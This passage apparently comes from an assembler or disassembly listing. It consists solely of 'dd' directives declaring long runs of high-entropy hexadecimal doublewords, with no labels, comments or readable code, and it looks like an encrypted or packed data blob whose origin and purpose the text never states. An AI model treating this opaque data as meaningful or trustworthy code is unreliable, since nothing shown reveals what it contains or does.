0BD7401D4h, 77C81D7Bh dd 2D259027h, 29292697h, 2567A029h, 0F0A4901Ch, 0BEF40033h dd 0F0BB3727h, 3FFEB8C5h, 0EB0B91CCh, 20E635CCh, 0DEA8D51Ch dd 2ACEE725h, 0E4A08FDAh, 33CE3EAEh, 472E9B5h, 0D8CAA436h dd 572DD2A3h, 8920F39Bh, 9B62507Fh, 59CA1D0Bh, 0CAE1325h dd 0BCC20515h, 380E2184h, 7251335h, 201F0426h, 0FA75D106h dd 9B2915A8h, 8C1BE994h, 0E6358B49h, 0B73A95A7h, 21C92887h dd 27EDEC11h, 0CD1AC79Dh, 39353BBEh, 2F393737h, 0CEF5B0C4h dd 114CED32h, 11296B1Fh, 4B9CB74h, 1181975h, 0CCF2FE8h dd 0D8333229h, 7163F893h, 22B93E29h, 26B17B70h, 2F973C1Eh dd 3CBD68C6h, 688E006Ch, 0C9789D4h, 819B2B36h, 302B4F55h dd 793388E9h, 3937A66Fh, 3C383A3Ah, 0E43C3E39h, 0A71C1DE3h dd 63252120h, 27DE0624h, 3424292Bh, 2E2E2396h, 0FE323884h dd 7B378D15h, 3B6E18F5h, 1F4D5454h, 79726E6Bh, 4F40521Fh dd 48444703h, 5E462849h, 6845090Bh, 4225418Bh, 375F40F4h dd 33813384h, 0A855349Bh, 0F5121009h, 62037F0Ch, 31417389h dd 34BCE41Dh, 2A665F25h, 9102301Eh, 8D995B17h, 66AAD134h dd 2D3E3985h, 146B3D8Ch, 0CCC91CADh, 22433B10h, 1F243051h dd 88B0C3Bh, 0DB7D26FCh, 26932CF3h, 0C7C946B4h, 370B3106h dd 5A2BAD30h, 1EFC38ECh, 7D7D2022h, 0DF2795D8h, 24094629h dd 202E222Ch, 0AC323E30h, 3739353Bh, 2FA97B3Bh, 334A1F0Ch dd 19171C5Ah, 43A9148Fh, 62CDEA39h, 0ECFCD739h, 0DF59AC2Ah dd 27CE16C4h, 0C3AE15A3h, 0BB5921B7h, 405CF422h, 55C79BFh dd 41AD72FFh, 5186ECB6h, 126E21C7h, 0ED0A099Eh, 0CFC6A921h dd 4C90CCCDh, 1A3E3F96h, 3D7F4B3Eh, 0FEDABF2Ah, 0DF4D2E18h dd 1D439CF4h, 3DD86ED5h, 44380AB5h, 602E8F4Dh, 34BB9175h dd 9822C964h, 0AD981A5Bh, 3B4A6C9Ch, 0D81C7CBDh, 0AB23A025h dd 0A76637F4h, 333FD62Ch, 0E8AA2ECCh, 3330D035h, 68F0BE30h dd 3B362022h, 3CAEB19Dh, 0BF5A03FBh, 22A1118Fh, 0E1135522h dd 2E293961h, 0D1DAAECh, 0B6373027h, 0C7368B0Fh, 0BADD5EDFh dd 33011A12h, 0D020348Bh, 0EA4D572Eh, 21647212h, 0E92CA6D6h dd 0C564382Dh, 0A15BA41Ah, 35F5FD26h, 0DCD06657h, 9D3CDAD1h dd 95F61A7h, 0AF5A3C0Dh, 262362E3h, 58242605h, 2C59272Ch dd 53404248h, 87E73031h, 0B8343651h, 3CFB387Ah, 59323D06h dd 89E11D38h, 22EE7420h, 2760CC24h, 2A2A2BCEh, 2E329CC5h dd 7F30B1B9h, 6033B424h, 39BA3A3Ah, 0BEC3AF18h, 9F15E113h dd 6B2B20C7h, 667614ADh, 30766A2Fh, 3C727CB0h, 919D6F6Dh dd 697161B3h, 7A211C63h, 317D6E66h, 0F50F9A16h, 65335E94h dd 0CD747C60h, 3FAB5AACh, 48706B4Ah, 32315FC6h, 4D106732h dd 6B0378BBh, 3C5F31D2h, 905ABB3Dh, 204F1A1Dh, 2406AB45h dd 0A3717721h, 58A2DB89h, 0D22F2A09h, 94D133F6h, 0A1DF3535h dd 55BB3BCEh, 1F17BE3Ch, 131C91F4h, 202E2074h, 2559AFCCh dd 272B1624h, 2D5CC52Eh, 3218933Ch, 52DE3438h, 3A2F353Ah dd 3E3EAD30h, 13BF6D12h, 0A62E29D3h, 12206739h, 38133ED6h dd 5EF83AD8h, 0C418734Ch, 0A0DD3225h, 1A3C7836h, 3C4D0C3Eh dd 949EBB4h, 25D03B1Ch, 0A12BD019h, 0C08D290Bh, 280C5739h dd 22C33E44h, 993083BEh, 34EA3ABDh, 1C3B311Eh, 0CDD861F8h dd 28869E62h, 202BB721h, 0B2E07673h, 0FAC37801h, 0FE7C2F2Ch dd 0CAE0DDD9h, 0B12068CAh, 3C2B35B6h, 97328DB1h, 0AF4B4E14h dd 0CAA97676h, 7F6636E4h, 293EEA58h, 136CED7Ch, 0DB313134h dd 1477B4D4h, 0E5DAD1F5h, 6D20ED3Ah, 48103BBAh, 0C749C817h dd 53E53200h, 1CA3A362h, 282F273Bh, 22443224h, 420534C8h dd 5B3FB3C7h, 605A6C3Ah, 0E59F1BFCh, 0A22E6A1Dh, 73AC27E4h dd 64AA9ECEh, 0ACEF752Eh, 6BD78027h, 0A3B3B3Dh, 0CB005697h dd 5C50383Ah, 751B5127h, 231F7973h, 5575144h, 5B4E08D5h dd 255B4F41h, 60AF6D79h, 71773331h, 38B61B73h, 0CC163F3Dh dd 1B531338h, 3ABE461Eh, 0E46130Eh, 0B7122567h, 2BAADC7Ch dd 722E6B16h, 6D0234C1h, 374411E7h, 3C4B312Dh, 2B1AE978h dd 0BE210ECAh, 3C11131Eh, 255E853h, 0FA07AE28h, 0CE28CE2Bh dd 0C13261AEh, 0C231273Dh, 683B3839h, 566A886Bh, 0F9C6B3Fh dd 2D005C2Eh, 0D4C127B2h, 3F58CE07h, 3FDD2F64h, 21502D5Eh dd 1585B798h, 644207Ah, 0EC693A6Fh, 4A4E1945h, 46B951Dh dd 51D5A729h, 79AC262Bh, 0A9EB1920h, 0A52B21FFh, 0BF2310F1h dd 0B2643F74h, 22B12A39h, 0C805F4B7h, 9B3F1D69h, 0A93455E9h dd 0AD2E2474h, 2AC82876h, 2DEEAE3Dh, 31F4B230h, 0D60A3B75h dd 6D3D1938h, 1A3EDD76h, 1B387433h, 0A924019Fh, 0B0200096h dd 0CB882D03h, 81214C2Bh, 8A9B3607h, 17D53216h, 3C1DD331h dd 0A3B18CDh, 1B3FB03Eh, 420FF11h, 702A2B0Bh, 0A1682102h dd 2FA91328h, 5932A74Eh, 0AA30B23Eh, 0C57D33B9h, 2449803Eh dd 0E9B6D627h, 0C95B5919h, 51238783h, 2CF6B1CCh, 28F90749h dd 3F2BF17Fh, 37965A34h, 655DDF07h, 3569303Eh, 1BFA7A37h dd 3428045Dh, 0F4321E5h, 8F20E40Ch, 96C92FEAh, 4028E28Bh dd 0D2B4DC33h, 9F4136FBh, 0B132D03Ch, 67343F9Ch, 0B5DE1EB9h dd 2A6CAD1Dh, 0ADCB70CAh, 0F8A129F7h, 2AA38A2Ah, 127C80A2h dd 3435FADAh, 0BBFF3AB6h, 0BC85B639h, 1F9A653Dh, 10AC9293h dd 148F712Ch, 8874AA24h, 2D8E8B2Ah, 15F086EEh, 0E5FD641Fh dd 86C5F13h, 0ED7AD33Ch, 1CBC1F3Ah, 9800DA9Eh, 0CC732E21h dd 2A27A285h, 38652AA2h, 0EAEB13A6h, 65333333h, 0C761E1CAh dd 9CFFB9EEh, 0D8616135h, 0D31E1C8Ch, 7422212Ch, 2F0259AFh dd 2B5FD6ADh, 2E4E452Fh, 859D4521h, 0C36FE276h, 39C5893Ah dd 0CEF63FCDh, 0AE4C9819h, 222222EBh, 3E000427h, 2F2E187Eh dd 0EF2D6CE3h, 3B69E02Ch, 34208573h, 0A2853937h, 1E3C695Ah dd 0BDB61A77h, 69601E5Bh dd 2461F323h, 29296046h, 3B3F6ABAh, 215A2B7Ch, 75312658h dd 1F387037h, 6F385172h, 1E28B5D6h, 619223Bh, 2573CA0Bh dd 66674F35h, 78207A3Dh, 0F10FAE57h, 3F72639Ch, 345D3361h dd 2A7B3D53h, 19553A38h, 755E09DCh, 1CA7322h, 0A47625C4h dd 0A34D29D0h, 0AA2E29ACh, 5B3944CFh, 3E3636DCh, 0E3EA29B8h dd 1B7A2DBCh, 9D155C17h, 2A8122E7h, 73A92B2Fh, 0EBD6D763h dd 3FC53C99h, 32B4F66Fh, 0B71640CCh, 393984DBh, 9E13857Fh dd 0F538AF20h, 23AB0F1Eh, 0CD0F22DEh, 156C3286h, 4741EB91h dd 1CF07F06h, 305536BEh, 0BA184705h, 0CDB723FEh, 0E2DD72Fh dd 25BD52F5h, 7567CAEFh, 0DC4F2654h, 44263A1Ch, 1B7427BEh dd 22627C43h, 5B3A5319h, 1C5133A9h, 9B7ABFFAh, 3F218C1Ah dd 2202FCC8h, 647AA402h, 0DDD5D740h, 270A692Ch, 653B4531h dd 80FBF1DCh, 0FFB914F8h, 0DC389D38h, 18301514h, 288321D8h dd 0CF21E5A0h, 0D4464237h, 79277CD4h, 1202D4C7h, 3153F439h dd 0FB5D9968h, 5E194827h, 8E34D33h, 0A03A9F8Ah, 0B507525Eh dd 14282F1Dh, 3F727420h, 6A57BE73h, 29AAA3F1h, 1D185BBDh dd 0C23AFC22h, 72923F3Eh, 7F921A1Dh, 2C5DAB29h, 0FFCF3A76h dd 123B76EAh, 295B105Dh, 0E4DB2E67h, 2DB73735h, 187F1DDBh dd 1FBF391Dh, 1B1E195Ch, 0E0A8A921h, 3704257Ah, 82877EBh dd 32ED3D80h, 3B3C1122h, 0B7323874h, 3B7A785Ch, 0CB566C6Ch dd 0B7B582Dh, 42FA9C9Bh, 2905DC5Eh, 2B5400BAh, 797951FFh dd 31312196h, 0BBF59000h, 91CA6257h, 1E79285Ah, 0FD185149h dd 0A7200648h, 290067ABh, 3929A707h, 2D043ED5h, 2DF01C7Bh dd 1F35F7B3h, 45590BB0h, 656B6D69h, 1C241F56h, 90049E03h dd 24A839A1h, 20E3A5FDh, 2A5EF1ACh, 271712Dh, 0BFF069F1h dd 20131E79h, 0E4193A68h, 9ECF387Dh, 6B1F1C49h, 227E2021h dd 26276D25h, 2A2B9C16h, 72F2C1Eh, 32333FF2h, 63373432h dd 3A3AE7C4h, 0D73F3CCEh, 4BC11D1Ah, 23F3211Eh, 21649822h dd 862B6991h, 8C2C2D7Eh, 33A9312Eh, 3734A432h, 3B386DB1h dd 4C3C3D47h, 0D527533Fh, 7CA91C68h, 29A42202h, 0A078E9ADh dd 0AFC43777h, 0BA236F1Dh, 58F5B23Ah, 68283C56h, 0DD480652h dd 913D8636h, 0C3919F38h, 71A8BB81h, 0C07522C5h, 28AA3A0Fh dd 862A2D28h, 5C633771h, 0B944C221h, 38BAFB3Dh, 9805CDBDh dd 0C925DD27h, 4B222480h, 941A5918h, 8B146B15h, 2C2E13B4h dd 90319270h, 74363694h, 28094A0Ah, 3D0ADE08h, 0FE4F6CB8h dd 10163629h, 1163A414h, 13CA1FC4h, 0E79DC58h, 0F680C9Ch dd 29251480h, 8A835A09h, 313D333Bh, 121C143Fh, 2E20101Eh dd 252BDC22h, 29272729h, 2D232B25h, 313F2F21h, 3ACB333Dh dd 36383836h, 323C343Ah, 131B303Eh, 0DF1F111Dh, 242C222Eh dd 2828262Ah, 2C242A26h, 30202E22h, 3B333DCEh, 37373935h dd 6A4F30B8h, 44733F3Ch, 3D338FC6h, 32B81473h, 0D88C6525h dd 89D12999h, 21AC0B3Ch, 7A6313F1h, 2DA117A6h, 0E5883839h dd 76433C3Dh, 80252DB9h, 73C2204Eh, 73E95702h, 8A772DE5h dd 18F082Bh, 186A3210h, 0DFB5947Ah, 27796677h, 2EF9BF13h dd 4F7C23B6h, 0E3D2F749h, 2BE44160h, 9E8F23CEh, 25622DAAh dd 71B96E79h, 41BF3B7Ch, 0B5B82312h, 2E7C744Eh, 0EB7357BFh dd 9259758Dh, 0FEF249A3h, 8C4CA5E5h, 446A3B69h, 702DEF9Bh dd 75A78423h, 0FD2831EAh, 0FA297E3Eh, 0C46D1C3Ah, 7E50411Bh dd 0C34152E4h, 44477760h, 3BC26648h, 7523D0h, 66016C33h dd 6725513Eh, 5A2E9832h, 72620083h, 4A9D787Eh, 0A66952DFh dd 0BA54A4Ch, 43454466h, 5D6DAB2Ah, 5E44515Ch, 613EDF2Ch dd 0A6399EDFh, 0FABEC3C6h, 0C9F4903Bh, 623F425h, 9A152724h dd 1B28F626h, 7E7B030Ah, 0EDB27C7Dh, 136174Eh, 0BD375BBEh dd 3F3C3A20h, 1FF3Fh, 4A4E1A77h, 0E3327123h, 28A3294Fh dd 0A1291429h, 422F0779h, 615F3393h, 9A2A3564h, 341A9E39h dd 0F73F9C2Fh, 181EBC31h, 3A002182h, 0AA3735D8h, 8A9683A5h dd 2F8CDC2Ch, 0D5329074h, 639C3596h, 99E13D29h, 3E6F293Ch dd 0B41DBECBh, 0E726012Bh, 27C12481h, 2A8B9225h, 2F7C6081h dd 0B21B80Fh, 1615D42Bh, 7C29100Eh, 6040CB3h, 245C5D0Fh dd 0A901DF56h, 0C57C1A72h, 41114707h, 5DA4092Ah, 13105717h dd 75BC0AB2h, 0A83714h, 8D6D02A2h, 0BC22A33Eh, 8C26B624h dd 1D932218h, 119B1F9Dh, 0E42B13E9h, 783AD17Ch, 357751B2h dd 0FF18B5F6h, 10BB3B39h, 0E4F78EBEh, 1F1C8DDFh, 0A277012Dh dd 142A2DB1h, 0A3BF28C5h, 622C2D2Dh, 0B34CA4B3h, 89A03130h dd 0D3AC3937h, 0D267BC7Dh, 43431F6Fh, 0A872B61Fh, 4B22374h dd 0AE26BF2Eh, 28A6B4B9h, 34B0FAEEh, 4F74AE46h, 2200802h dd 7E912509h, 2D1B8B3Eh, 564F794h, 9529B31h, 38273EA2h dd 22FB2B25h, 3330202Eh, 21395326h, 0E922473Ah, 8C1C5132h dd 44AB3E66h, 0A1133EC5h, 253522E3h, 18C2E586h, 58C32B09h dd 44CF842Dh, 3614EA31h, 0FD3612F8h, 0E0B33A4Bh, 1B4D83D4h dd 6DABF4D8h, 0CA8E6920h, 9F265589h, 4E23BB88h, 2027B23Bh dd 5DB86C30h, 72BD36C4h, 0DBB93980h, 30FEB83Dh, 1E9D149Fh dd 266CAB1Ch, 27657CCAh, 2B8C3565h, 416D2A1Eh, 17FAEBEDh dd 5B36F681h, 0F89B15F0h, 0AC08FB38h, 209A18FDh, 22A2549Ch dd 0A4566624h, 0ED616925h, 6D974EA8h, 67B2E72Dh, 0F29A30B3h dd 32D02C26h, 0D1BF3B21h, 4B4D6A76h, 211F1E77h, 2D49264Bh dd 3C61AF25h, 0C43754A0h, 318226D1h, 311C1231h, 380A3141h dd 3E3B3EFAh, 4C683748h, 0F7484A4Ch, 7C2080C7h, 237827E4h dd 29C8395Ch, 2E9E2458h, 0F2F6CFB1h, 3387B514h, 0E40F3239h dd 603E225Dh, 942E30Ch, 357E3740h, 195931AAh, 0BC701A7Eh dd 0B52CD8DAh, 6B036910h, 0E4BB413h, 65D3976Eh, 7965517Ch dd 451DFBB1h, 23F46059h, 5A546476h, 6E7727C5h, 2D231835h dd 21AF2F21h, 80E623A5h, 0AFF027A3h, 33A9422Ah, 0F6A92FAAh dd 5181C42Ch, 20E01965h, 23533E06h, 2E2609A9h, 0C0002E38h dd 0C20030DAh, 389AAE5Dh, 0BD1F3A3Ah, 0A83D65Dh, 1D074F04h dd 23276738h, 3F26DD3Ch, 2F42EDD7h, 0B627A2Eh, 0B229342Ch dd 0F7B3354Fh, 0BDFC304Ch, 3C7E3DA9h, 961BF71Ah, 7B08731h dd 642727E2h, 6B60953Ch, 0BF7A4423h, 326232EEh, 48247532h dd 0A83A39D3h, 0BA0BBEC2h, 62185A36h, 6B245E56h, 70072158h dd 582AA4h, 7FA72C6Bh, 4732EE77h, 8B8710Ch, 1DA43677h dd 3B3D3A3Ah, 1F1A5699h, 901720B7h, 5563941Fh, 16EF18E7h dd 0F815E429h, 0D011F413h, 0AD5320Fh, 6C508D9h, 0C23B04C1h dd 11003A03h, 1F210D23h, 1C3E1E36h, 180E1A06h, 1F150728h dd 6F111713h, 0C74310Fh, 8640A78h, 653A0660h, 55015903h dd 7279727Ah, 2253207Ah, 7924B622h, 58295D57h, 424C4F4Eh dd 32303043h, 4254360Eh, 38395158h, 4D3FF13Bh, 78686846h dd 23201F73h, 1A252332h, 69281419h, 7D746A73h, 3170776Fh dd 0F4363368h, 4B4C4434h, 4D5F55BAh, 800E3DFDh, 231EA96Fh dd 0A1E52228h, 2924269Fh, 5DBA2DC2h, 0AD162A2Dh, 0B13C6E31h dd 52B32DC5h, 3ED3AA3Fh, 0EB0F2BC2h, 0DC258D79h, 2253A4A9h dd 29967CA0h, 0EAECA92Bh, 0A6E71E09h, 514A157Ch, 0B7F6E566h dd 0E19B3A38h, 0D72F3DCFh, 1EED5FF6h, 0AF33208Eh, 276550ADh dd 0D8F4A2CFh, 2FD9912Ah dd 0C0FCD83Ch, 30337033h, 0D22D38C4h, 713DCE86h, 81CEF6Eh dd 21D2B2F6h, 3324D7BAh, 0DBB5CF32h, 2DD8CA2Ah, 0B8BDC739h dd 321E33C0h, 0D12037C5h, 3148FBBFh, 4A3177B5h, 0DF1E958Dh dd 16F32031h, 292B24E5h, 0A77CAE27h, 32F78A10h, 0C5B83230h dd 2DBCE1CAh, 0DD3BA6D0h, 95B43F3Dh, 1F1E193Dh, 18E00A22h dd 9E3753E5h, 3A2BEC2Ah, 0D0FEE9C4h, 0E436CECFh, 68283797h dd 2A4B23E8h, 3D5EE11Ah, 42390744h, 3F9A3B4Ch, 722076F6h dd 792F2D76h, 264DD330h, 66792B7Bh, 1B14A0DBh, 319C145Fh dd 3B7DDF4Eh, 0F51D0060h, 705D8DCFh, 3820B139h, 89B32ED4h dd 0DE25D42Fh, 6F6F4315h, 60F401CEh, 363BB366h, 0C2284BBFh dd 455FC0C1h, 859421Ch, 30E36370h, 0D7717731h, 0A764AAFCh dd 6E70E8ADh, 0F0B2696Ch, 0FB0B5E37h, 113B3EA9h, 1B3F0345h dd 1F744BA0h, 22482020h, 32D9274Eh, 6AF6192Ch, 0D0D0AE4Ah dd 383E3645h, 3C31D2F5h, 0E8A23AEFh, 0CE3EC7B7h, 0E316D41Bh dd 62A90A1Fh, 4624D920h, 2BA26CD0h, 0EF393C4Bh, 52313CCFh dd 36F2BFC9h, 0D5B2E8C0h, 0D41EFF18h, 597D197Eh, 0CEABDA1Dh dd 2D954122h, 28D7D87Dh, 0CCED2448h, 53333A3Fh, 0B435387Fh dd 5C7C3636h, 49595752h, 1B443971h, 210D5A2Ch, 36630A2Fh dd 86A73AA5h, 684F4F42h, 424C4B3Dh, 34FBF354h, 0F876F937h dd 485E4998h, 187D4878h, 481D1D8Ch, 65564841h, 74A4574Bh dd 4E46E7A8h, 0AF444F63h, 0B373070h, 0A2EE34ACh, 0AA576939h dd 3EAB653Dh, 9B190D3Ah, 5920B100h, 87256498h, 283CAE21h dd 2C38A7FAh, 6830789Fh, 0E63471B3h, 34393972h, 0CE3C798Bh dd 0E518AA9Ah, 0BF231BAAh, 552A2D21h, 0AEED5226h, 1D2EBED2h dd 3D31E32Eh, 1170B832h, 45F8B232h, 0C5BF303Ah, 0A41D403Ch dd 0DFE01EECh, 31DCE1DEh, 2AA7FC41h, 2D2BED28h, 0CC302E3Bh dd 40B86431h, 0CEB23E11h, 0C3073A4Dh, 19E73628h, 0EF1E261Dh dd 49741354h, 274E2424h, 2B282828h, 0A9005878h, 26F25A09h dd 30B62D94h, 6B6E7FFFh, 5783E3Ch, 0DA05BDC0h, 20E1351Dh dd 6D13D2Dh, 0C8302F6Ch, 2735CA78h, 3110EAC7h, 19F22CD5h dd 0FAD132BFh, 40B03F1Bh, 3533DD15h, 0A29DF715h, 30874F1Ch dd 3D0ACF2Ch, 0AC11A01Fh, 7AB43413h, 0F5271172h, 0B2793730h dd 7936B6D2h, 58D57EBEh, 701D7453h, 640524C9h, 2A6BE34Bh dd 0C4282A28h, 612F64AFh, 37E4CD61h, 203CF6F0h, 0FC1C3504h dd 14717E2Ah, 961BDE83h, 4AA2496Eh, 0A329FEA0h, 43822697h dd 2094B720h, 3F3DA461h, 673D3FC0h, 23350936h, 0F0B5003Ch dd 3F74A1F3h, 0C24D7E53h, 69F4D528h, 32312666h, 0E15C429h dd 2A3F7206h, 19A9DC32h, 0FB2B5AE8h, 0B3338C3Bh, 460FD9E2h dd 0AE21B1Fh, 6524D35Fh, 6428C364h, 6C3D2BCAh, 0D16B2227h dd 0B53D761Ch, 383934B7h, 0AB389FB1h, 0FC1BDEE5h, 20FEBF04h dd 0C58F14C1h, 3E32A625h, 0C2BCB9Eh, 30CEEC0Fh, 8E303237h dd 3F37D7F8h, 3CDA05F9h, 0FADC2DBDh, 1F170D1Ch, 23C3CF23h dd 47841660h, 186B3E29h, 1C5348CDh, 0BE14B1B4h, 175BDFB9h dd 10FBB039h, 0FFB40E7Dh, 5B2E5D0Ch, 11712205h, 6A49850Ch dd 0C1C13E14h, 7E110C1Ah, 0BC31ACC7h, 74450760h, 0D50A7F7Ah dd 0D75103Ah, 2E5154D4h, 2301C4C9h, 0A02B78E7h, 2B28221Fh dd 9A8A63Ah, 49B5EDFCh, 36DB62h, 1DB41937h, 6C3F3BDDh dd 5D1ABFB5h, 245E3F5Bh, 679E06B5h, 0C0754EABh, 0A828EB39h dd 696EA06Eh, 0CBDB5A61h, 74B97F67h, 1B3AB478h, 2BF5D2Bh dd 0F70F9355h, 0D1DD21E9h, 0CF7D28Ah, 0FA0AA2D1h, 0D2A5DAA7h dd 0B8971521h, 14C6FF36h, 85359DCBh, 3E3E3D71h, 1D1D5DA3h dd 2254E824h, 66249721h, 5672D0A4h, 4F95D823h, 4E4A30D7h dd 0ED7DB0C7h, 3EAF1A42h, 3A89FC08h, 19AB5EFEh, 71E877BEh dd 70A5BB4Ah, 5A403CCFh, 47381EEAh, 0CA05CE2Bh, 0D15C4432h dd 5A59E00Bh, 0F65D213Bh, 5013F39h, 8D7D255Dh, 0CA6DA2Bh dd 0AD34A66Fh, 46AF25D6h, 351EE5B4h, 0B48403F0h, 3016D03Dh dd 0E73CFA34h, 1CDF655Ch, 1C1E8992h, 0A2B1B7AAh, 75775B44h dd 0CAB6EC40h, 1A2009ECh, 72523730h, 6BBE32B5h, 0D3664D1Ch dd 0BF325C3Fh, 6A683C6Ah, 0C2D3553Dh, 79DADB3Ch, 0ABCA4879h dd 0EC4AA8BAh, 7D7DF243h, 96B4DC74h, 0E423F93Dh, 0FF3B9CAFh dd 0C0CC1B9Eh, 4A041AFFh, 23254286h, 78288649h, 25EC02A8h dd 872A892h, 973573B7h, 3B997E9Bh, 3C7C1F17h, 1D5A4276h dd 412FB4BEh, 1C61FC22h, 0DC7BE7FCh, 4C78B609h, 0A7D8C26h dd 1133936Bh, 71277977h, 3BF035DBh, 6A853D3Dh, 9B1E351Ch dd 2353E923h, 0F125250Dh, 13A2959h, 5ECA2E2Ch, 30321A30h dd 3747C776h, 453E3914h, 37133D5Ch, 6F131F1Bh, 21210E1Fh dd 2654053Fh, 2A2808h, 2E1D2C5Ah, 430933ABh, 35350533h dd 2A394971h, 0CB6926DFh, 1210D432h, 7670B01Eh, 0CD806CF3h dd 0A86CA72Ah, 216E78ECh, 3E5639BFh, 7E751273h, 38C8BE3Ah dd 0FBD431FAh, 0ED31AF23h, 2DF71212h, 69731501h, 31F61963h dd 0C42729C8h, 385E5FC7h, 72FD314h, 0F8B22DE5h, 2CFBFA79h dd 3280D3Dh, 9B17FFDDh, 6B13A04Fh, 27A7FF2Fh, 7A3595BEh dd 2E087376h, 0F2203102h, 0E03D3BD3h, 38EAC1B3h, 0FFE9CAEDh dd 815DE584h, 3E27121Eh, 1E71623h, 9CEE821Ch, 8E6C8DC2h dd 3EDAF13Bh, 72EC32B3h, 254D0F55h, 3E42FCBEh, 295A906Dh dd 71185195h, 0DA7272A2h, 0D1A31770h, 0D2644C6Bh, 38316D5Ah dd 52D795D9h, 0C6C72705h, 18DC5F2Fh, 14492FB5h, 23770BE2h dd 62A87206h, 0E8A41639h, 5B887A6Dh, 0F7A428ADh, 0B514D3F8h dd 0D3C8C8D6h, 38FB093Bh, 3F735E0Fh, 1E4F4B2Ch, 7B00A112h dd 5F33A515h, 1E2A59C0h, 7F42562Ch, 3001B081h, 20B6F4DCh dd 0B91636B8h, 0EAF2390Eh, 3A491F1Bh, 0A2ECAB73h, 0FE3DCC71h dd 0AD6FD7D9h, 0AC7BFE01h, 3C02D805h, 1E152431h, 9B36A1DFh dd 0CE22EC1Fh, 1C35BA25h, 71FB9A78h, 0DDA70657h, 0F9A935E6h dd 0D257F31h, 51066D3Fh, 0F30F3728h, 794AB543h, 6D6A632Dh dd 12095B56h, 0D89C385Dh, 0D4435623h, 0A3E33617h, 0EB293968h dd 398F7F58h, 34F232B4h, 39335E36h, 0C33B3839h, 19E5F628h dd 99DA9E1Dh, 2348A024h, 4FD6AE32h, 2301A89Ch, 0AE42457Dh dd 26CD6726h, 35ED75C4h, 5A65139h, 3E8E3B3Fh, 0E6960A1Bh dd 0A739E49Ch, 5351BCDCh, 2A192870h, 0AE494613h, 36277037h dd 73B5E5DBh, 6FD78B4h, 121978B2h, 491916FEh, 73A01174h dd 0FD046326h, 6C7B2EE6h, 6DD40B6Bh, 98D82A39h, 20283AF0h dd 0FA203EF6h, 1C7C291Ah, 4908552Ah, 0E0100BDDh, 7E32D20h dd 2F79A711h, 2D0F2B8Ah, 3330C49Dh, 0B4BC26F3h, 985A8AB9h dd 1C68327Dh, 6FB66990h, 5D43225Ch, 6D1261C0h, 7CDCD20h dd 657EA4A4h, 33B4CD1Eh, 92E90230h, 57744B35h, 6B34BB98h dd 0D81EF2B7h, 0F61C043Bh, 0A282409Ch, 78A82B16h, 0A1784437h dd 7D7A1EE8h, 724BEEC7h, 760B7538h, 3E13AC7Ch, 3E9F2C3Ch dd 0FDECBB7Bh, 74F22C7Eh, 25A10803h, 365E71FDh, 1F0627A0h dd 3E44E72Eh, 413ECAB2h, 0C0B8373Ch, 0BD394F37h, 691B63C7h dd 13DFE019h, 6C1860F3h, 4AC654F6h, 0AF00BA04h, 0F00A42EBh dd 1BF33E3Fh, 7E1788DDh, 3C1232B2h, 2BB63268h, 1E0E4F1Eh dd 0D68FE824h, 2BD6CC0Fh, 9B401988h, 2B3F0D2Eh, 0C9DA6118h dd 373E3B25h, 903CD1A9h dd 120E00BCh, 261C6C07h, 96FF127Ch, 0CE3CFC22h, 8A18B427h dd 861C881Ah, 381301Eh, 78D0587h, 0FE3909F7h, 0EE0CF40Ah dd 1D2DCF0Eh, 10C02EC2h, 1614103Ah, 7D1B6326h, 551F7319h dd 5A42F1Ah, 19007AEh, 8D38039Ah, 0D908F30Eh, 1C2FD30Ah dd 14E32AE9h, 112F1725h, 0E8152150h, 78287BC0h, 6CC77A1Dh dd 34539432h, 6E77661Bh, 0BC113832h, 471B623Eh, 97D5964Ch dd 600BDEC8h, 2B4E1D6Bh, 7BFA3B29h, 6A0C15C4h, 0F974017Fh dd 0DF3235B7h, 5130F8E1h, 553C573Dh, 0E1753C93h, 0A6983F1Eh dd 38F724F6h, 2AFC73C7h, 0FBFF32F9h, 0F62FE22Fh, 0D28D34E3h dd 2EC8C17Fh, 2AC2E844h, 1D131B30h, 31201055h, 4A54A771h dd 0D884CCFh, 0D9A1B3A7h, 935C3EF0h, 95EBB732h, 9A6D9136h dd 0D4BD2B3Ah, 281B9D74h, 1FB51C1Ch, 9477B0E6h, 3406172Eh dd 40D907C1h, 0C39E2FCDh, 0CFDB3A2Bh, 22C02A24h, 93D2A3Ah dd 0DA2B3EDDh, 1EBE9215h, 7762A35h, 3F865D92h, 0DB462F79h dd 732C3D0Ah, 0FB0C3D31h, 17563164h, 3D6B6AF8h, 0D7341D79h dd 1B5E4A81h, 0B9350B52h, 0D6C0F6Ch, 62026733h, 7FE9AD00h dd 19A0CF0Dh, 363A103Ch, 3A363838h, 3E323C34h, 12B51B30h dd 71734E1Eh, 0F643354h, 0D65F8175h, 0B137B85h, 475E0911h dd 139D4673h, 1AB81657h, 1EB39E04h, 3F941CB1h, 45767A71h dd 244C0253h, 47610643h, 425E5E5Bh, 790F4B2Dh, 141E1278h dd 4D583671h, 1C5E565Bh, 77675B75h, 379E6575h, 0A46D28A5h dd 0E747172Dh, 6F692C3Eh, 28386D67h, 5ABA6217h, 3EB64358h dd 3B434D6Bh, 517B3D33h, 0EE3C4C18h, 7F7F7F1Fh, 2641E410h dd 2E2925AEh, 0AAE9AD70h, 0F13030DEh, 363AF8A3h, 3A363838h dd 31C23C34h, 121C143Fh, 2E20101Eh, 2A242C22h, 0D6282826h dd 2D232B25h, 313F2F21h, 353B333Dh, 39373739h, 323C34C5h dd 73773D98h, 4376167Ah, 6416A07Eh, 2D435256h, 4A202949h dd 445A412Eh, 52B35D6Eh, 5656446Ah, 3FBF5F5Eh, 7556343Dh dd 76727C6Ah, 23022344h, 55495137h, 2B147D14h, 4D5B5E0Ch dd 5A405243h, 37424534h, 4E484D31h, 3B14633Dh, 0E12D30Eh dd 0E272531Eh, 0DCAE734Ch, 19E2A337h, 3EFCBCEBh, 0C5399EDDh dd 36B57DE2h, 35C0BB3Bh, 363D5CBEh, 1B6AC9EEh, 0B7A04441h dd 7234E0F0h, 3BC87132h, 0FDB4AB26h, 4C41383Fh, 0AE943D97h dd 7D7546BAh, 0FDB93A38h, 5290234Bh, 21A7161Dh, 0EDA62121h dd 2C6126ACh, 8EC32F5Dh, 0CF6FD32Ah, 0BF3F74B8h, 7E7937F2h dd 0FCBE32B9h, 95D70749h, 4F1E3B1Ch, 732E67ABh, 7728D5CCh dd 0EFA9D6D5h, 2F0D072Dh, 33336172h, 3F48B676h, 0B6BA3DB8h dd 22C57808h, 1F3018DBh, 0A781706Ch, 2013963h, 3AA0085Fh dd 2D2DD6A5h, 0BB19322Fh, 36CBBC8Dh, 0B303B834h, 6FBD3AADh dd 179A92B7h, 